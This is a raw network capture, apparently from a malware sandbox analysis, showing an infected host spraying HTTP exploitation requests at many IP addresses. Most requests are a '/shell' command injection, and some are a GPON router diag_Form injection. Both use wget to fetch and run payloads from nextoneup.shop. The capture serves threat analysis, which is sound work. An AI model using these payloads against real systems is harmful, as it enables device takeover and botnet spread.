Apr 14, 2024 04:01:24.701085091 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:22 GMT Server: Apache/2.4.56 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1892	192.168.2.13	53044	149.100.159.185	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.742858887 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.139472008 CEST	1289	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:01:22 GMT Server: Apache/2.4.56 (Debian) Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: none X-XSS-Protection: 1; mode=block Set-Cookie: ocvlm7x2254d=a0duovm499v7ch0348opv9uqjq; path=/; HttpOnly; SameSite=Lax Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: oc_sessionPassphrase=xyqTU8ZqeHlvpv8ga9AAOfY1sWx3Gi3nBGsafWLh%2Fx3SjM5XEzPQZQA6NdYH2QQl29GWJm%2BEo9duY3iPgr60YC5LtKfWeDyEdlNcHvb9QXgDBXw0IiQjATbn7Ko%2FXsG7; path=/; HttpOnly; SameSite=Lax Set-Cookie: ocvlm7x2254d=ukchdefqu478suui4e22huq9fl; path=/; HttpOnly; SameSite=Lax Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-dTU3eWp1a0VNeG5qQU5TNnpuZkNGY29DdFFUSEk3VjJmWEhtallqbkl0cz06MksrRHc4Sm5RM3pNTXFUY3ZqMm9kNHgzd1h5RGM1NGZNQ0tWd3V5TllPOD0='; style-src 'self' 'unsafe-inline'; frame-src ; img-src data: blob:; font-src 'self' data:; media-src ; connect-src ; object-src 'none'; base-uri 'self'; Set-Cookie: nc_sameSiteCookielax=true; path=/; httponly;expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax Set-Cookie: nc_sameSiteCookiestr Data Raw: Data Ascii:
Apr 14, 2024 04:01:23.139513016 CEST	258	IN	Data Raw: 63 74 3d 74 72 75 65 3b 20 70 61 74 68 3d 2f 3b 20 68 74 74 70 6f 6e 6c 79 3b 65 78 70 69 72 65 73 3d 46 72 69 2c 20 33 31 2d 44 65 63 2d 32 31 30 30 20 32 33 3a 35 39 3a 35 39 20 47 4d 54 3b 20 53 61 6d 65 53 69 74 65 3d 73 74 72 69 63 74 0d 0a Data Ascii: ct=true; path=/; httponly;expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strictLocation: http://127.0.0.1:80/index.php/loginContent-Length: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1893	192.168.2.13	53076	18.164.29.202	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.744467020 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.091680050 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:22 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1894	192.168.2.13	59642	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.970489025 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:25Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1895	192.168.2.13	59672	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:23.641746998 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:26Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1896	192.168.2.13	59678	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:23.970005035 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:26Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1897	192.168.2.13	35130	94.168.223.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.217931986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1898	192.168.2.13	49020	178.119.33.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.217961073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1899	192.168.2.13	47478	184.30.179.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.274199963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.445271969 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:24 GMT Date: Sun, 14 Apr 2024 02:01:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 63 66 30 30 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 34 26 23 34 36 3b 33 35 32 31 34 65 63 32 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 63 66 30 30 66 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 34 26 23 34 36 3b 33 35 32 31 34 65 63 32 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8cf00f17.1713060084.35214ec2<P>https://errors.edgesuite.net/9.8cf00f17.1713060084.35214ec2</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1900	192.168.2.13	60232	173.232.58.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.302011013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.504712105 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:24 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1901	192.168.2.13	59684	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.313544035 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1902	192.168.2.13	57888	18.244.146.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.449466944 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.896465063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.246850967 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:25 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1903	192.168.2.13	43782	18.155.196.181	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.483333111 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.664570093 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:24 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1904	192.168.2.13	36866	192.67.164.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.505785942 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.709388018 CEST	165	IN	HTTP/1.1 301 Moved Permanently Content-length: 0 Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws

Session ID	Source IP	Source Port	Destination IP	Destination Port
1905	192.168.2.13	59688	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.641335964 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1906	192.168.2.13	41274	52.1.206.174	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.679598093 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:24.913600922 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:24 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1907	192.168.2.13	42670	201.218.209.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.724116087 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.004682064 CEST	414	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=0 location: https://127.0.0.1:8443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:01:24 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1908	192.168.2.13	55138	46.167.65.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.849986076 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.217139959 CEST	401	IN	HTTP/1.1 401 Unauthorized Date: Wed, 31 Aug 2016 18:48:51 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close WWW-Authenticate: Basic realm="QBR-1040Wv3S" Content-Type: text/html; charset=utf-8 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 73 68 65 6c 6c 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /shell from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1909	192.168.2.13	36884	192.67.164.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.913108110 CEST	200	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1910	192.168.2.13	59712	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.985910892 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:27Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1911	192.168.2.13	59728	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.314085960 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:28Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1912	192.168.2.13	48264	173.255.248.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.394337893 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1913	192.168.2.13	57856	52.6.14.111	80

Timestamp	Bytes transferred	Direction	Data
